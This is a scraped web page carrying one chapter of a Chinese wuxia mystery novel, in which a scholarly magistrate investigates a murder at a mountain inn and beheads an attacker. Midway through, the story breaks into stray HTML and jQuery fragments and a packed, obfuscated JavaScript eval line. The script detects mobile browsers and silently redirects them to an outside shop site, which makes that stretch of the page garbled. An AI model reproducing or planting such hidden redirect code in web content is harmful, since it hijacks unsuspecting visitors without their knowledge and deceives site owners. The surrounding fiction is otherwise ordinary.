15. 第 15 章
    读书人,大多数江湖人士都不喜接触,来天山的这批人更是唯利是图,哪里愿意浪费自己的时间配合这位年轻的大人查案。

    “本官不才,只是想还死者一个公道,无意冒犯诸位,本官会给提供线索的侠士奉上重金,而且必会保护侠士,断不会叫凶手有伤害证人的机会。”瞧着文弱的县令站在众衙役前方,似乎并不怕这些凶相毕露的江湖亡命徒。

    “你这书生,好没眼力,我们找到一株雪莲便是百两,谁会在乎你那几个歪瓜裂枣,瞧不上我们这些莽汉不成。”人群之中,一位大汉闻言暴起,前几日他便到处宣传自己此次上山所获颇丰,宋月知下楼吃饭时便屡次听见他同不一样的人炫耀自己的好运。

    以现在雪莲的行价,在药铺一株大抵可以卖上五十两,但如有稳定的私人买家价格会更高,千两也是有的,只能说此物价格浮动非常大,但听信传言的富贵人家往往不会在意这些银钱,会花重金寻上几株,以备不时之需。

    “本官并无此意,各位侠士皆是有头有脸之人,瞧不上蝇头小利是正常,只是在下只是小官,俸禄微薄,聊表心意。”江淮微笑着安抚着激动的男人,看起来彬彬有礼,十分真诚。

    “我原觉得当官的都是些会装腔拿调的假人,不想你这个年轻人倒是懂事。但莫要以为你说些好话我们便会听你的话,和官府之人混在一起,要是叫旁人知道了,我们这些人往后怎么在江湖立足。绝无可能。”先前暴起的大汉身前的男子握着剑,双目像鹰死死的盯着猎物般看着这位年轻县官。

    “不错,凭什么你说些冠冕堂皇的话便要将我们扣押在这,你们这当官的心思最是弯弯绕绕,我们混江湖的可不管你探什么案,滚开。”大汉见有人也站出来,更是大声叫嚣。

    “赶紧让开,刀剑无眼,你这小身板怕是经不起我这一刀。”大汉亮出自己的佩刀,直批向县令跟前的桌子。

    “大人!”周围衙役见大汉暴起忙往前冲,接连拔出腰间的刀剑将县令护在中间。

    被杀气针对的江淮县令却不见惊慌,连面上和煦的笑容都未改变分毫。

    此时的老板见开始波及自己的陈设,生怕双方打起来连自己的客栈的会被拆了,慌忙站了出来劝和。

    “各位各位,请听我一言。官爷办案是应该,但诸位侠士都是老实本分来找雪莲的,如何会自找麻烦去杀官府的官爷。各位侠士都是有大智慧的人,不会如此,县令明察。”

    “不错,我们对杀人可没兴趣。”若非有大仇,谁会一上来便取人性命,他们都是来谋财的,费那样的劲找麻烦的确不合理。一边的江湖人士多点头附和。

    但江湖人士最是肆意,哪里是能用常理推断,官府之人怎会仅凭客栈老板几句话便放走所有人,何况这位老板自己也有嫌疑。

    “老板此言偏颇。普天之下莫非王土,本官是陛下任命的官员,各位还有横死的县尉皆是陛下子民,难道他的性命便岂是老板三言两语便草率清算的吗。”方才一直面上带笑的县令沉下脸来,把老板惊的脸色发白,冷汗直流,宋月知在远处柜台前都能瞧见他额角流下的汗液。

    “你这小子,不知好歹!老子还要去办下一场买卖,哪里有空同你在这里完什么办案的游戏,都给老子滚!”最角落走出个尖嘴猴腮的精瘦男子,直接提着自己的打往客栈门口冲,大有一副神挡杀神,佛挡杀佛的气势。

    眼见男子冲到县令面前,周围保护年轻县令的衙役也被尽数打倒,宋月知看那男子的刀即将劈向瞧着文弱的县令。众人皆是沉默的看着倒地的男子,文弱县令右手持剑,面上还有动手时自男子伤口处喷溅出的鲜血,将他文雅端正的相貌衬得肃杀。

    “在下不才,科举入仕前曾在江湖混迹不少年,许久不曾动手尚且把握不好分寸,叫各位见笑了。”江淮笑得温和,取出怀中的帕子擦拭脸上的血。

    在场方才还躁动的江湖人士哪里敢笑,看这书生杀人的利落手段,再看一眼地上男子几乎与尸体分离的首级,哪里不知道这是个不好惹的高手。大丈夫能屈能伸,众人便这样在文官的武力镇压下老实的配合查案。

    介于官府没有女子,宋月知和老板娘还有几位厨娘便留在大堂由县令亲自审问,那些江湖人士则被单独带到后院问话。

    宋月知并非那位县令关注的人,随意问了几句便叫她先回房间,结案前不可离开客栈,几位客栈的人则被留下仔细盘问。

    “你说县尉带走的酒是老板送他的。”衙役停下记录的笔,抬眼盯住跑堂的伙计。

    “是,那天县尉来的时候客人多,老板忙着帮老板娘算账,刚巧我在旁边上茶水,老板特地吩咐我给县尉大人提上一壶他今早带来的珍酿,从前老板也提起过那酒,只说是好东西,寻常舍不得喝,故而当时老板叫我送那酒给县尉时我记得很清楚。县尉大人当时拿到酒也是开怀,直言想了多少年什么的,我也听不大明白。”

    跑堂的伙计小哥磕磕巴巴的将那日自己的见闻说出来,“但老板一直在客栈忙,不会是老板的。老板是个好人,对我们从不打骂,而且酬劳也是县里最不错的。”

    “知道了,你先出去吧。”衙役直觉这老板有些不对,直接将手上写完的几份证词收拾起来,往大堂里去找瞧瞧大人,大人读的书多,见识也广,应当能瞧出问题来。

    衙役到大堂时,客栈老板娘正坐在大人对面回话,瞧着十分惊恐,毕竟那具尸体还在门内,浓郁的血腥气冲的人几叫人作呕。这间客栈的老板是出了名的宠老婆,两人是街坊邻居口中的神仙眷侣,婚姻典范,不知今日会否给这两人之间留下裂痕。

    客栈老板被衙役带走,关进衙门的牢狱,老板娘急得在柜台前垂泪,眼睛都已红肿,店里的生意倒是还在继续,惊魂未定的伙计们此刻却是井然有序。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656295|143666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    门前的尸体被衙役拖走,鲜血却是流了一地,几位伙计蹲在地上擦洗血迹,瞧着并不算多害怕。

    问过伙计宋月知才知道,在这间客栈里,流血的事件并不少。许多江湖侠客会有热血上头的时候,刀剑相拼,锋芒相对是常事,打斗之后受伤流血也在所难免,只是处理这样大量的血迹还是头一次。

    这个世道,该叫人恐惧的事情总是带着几分麻木,叫人看的心寒。

    夜半时分,想到白日的种种,宋月知又失眠了。

    蓦然间想起自山上往下看时,离这客栈不远处好似有片梅林,今儿是十五,白日天晴,月色正好。赏花甚至无需带灯笼。

    古往今来,多少诗人赞颂梅花高洁,借月赏梅多少沾些风雅的边。不过夜间寒凉,宋月知在梅花林里待了不过十几分钟便冻得受不了了,忙搓着手往客栈走。刚到半路,便看见前方披着斗篷的人影,瞧着有些眼熟。

    跟着前人来到客栈跟前,待那人摘下斗篷的帽子宋月知才发现此人竟是老板娘。先前因着宽大的斗篷遮掩,她都没发现前人手中拎着一个食盒。

    “啊,姑娘还没休息。”老板娘拎着食盒,转身才发现跟在自己身后的姑娘,像是被吓了一跳。

    “白日实在是被吓着了,夜不能寐,故而出门转转,还折了支花回来。”将怀里抱着的一支红梅拿出来,宋月知笑着同老板娘寒暄。“这样晚了,老板娘怎么也不休息,莫不是也被吓到了。”

    “客栈里常有矛盾,出人命还是头一次,自然是害怕的。不过我是去给我们家那位送些吃食的,他嘴刁,外头的东西吃不惯,非要我下厨才行。”谈及老板,她的脸上满是温情,倒叫宋月知浑身发毛。

    总感觉不太对。

    无论是老板老板娘之间的关系,还是那位县尉的死。

    “查到了,大人。客栈的老板同县尉大人果然是来自同一个地方。”县丞翻阅了几份往年的户籍记录,终于找到了那位老板的家乡。

    “伙计说的那壶酒找到了吗。”江淮接过县丞递来的户籍记录,再翻一页便是另一个名字,李云娘。也是同一个地方出来的。

    “此人住在何处。”点着册上的姓名,江淮尚未确定老板便是凶手,还需要更多的线索来辅证。

    “回大人,此人您今日应当见过,便是这客栈的老板娘,当年是同她的丈夫一同来的我们县,故而记录在前后两页。”县丞在县衙干了不少年,县里大大小小的事情他大多清楚。

    “一个地方来的,他们都是同乡。”那县尉约的人,到底是谁呢。

    此案尚且不曾有定论,第二日一早便有人到县衙报案,早晨妇人在河边洗衣裳时,水面上飘来一具面目全非的尸体,伤口已被河水洗刷的发白,十分可怖。

    第一个发现的村妇被吓晕在水边,幸得一同来洗衣服的邻居相救,否则便一头栽进水里淹死了。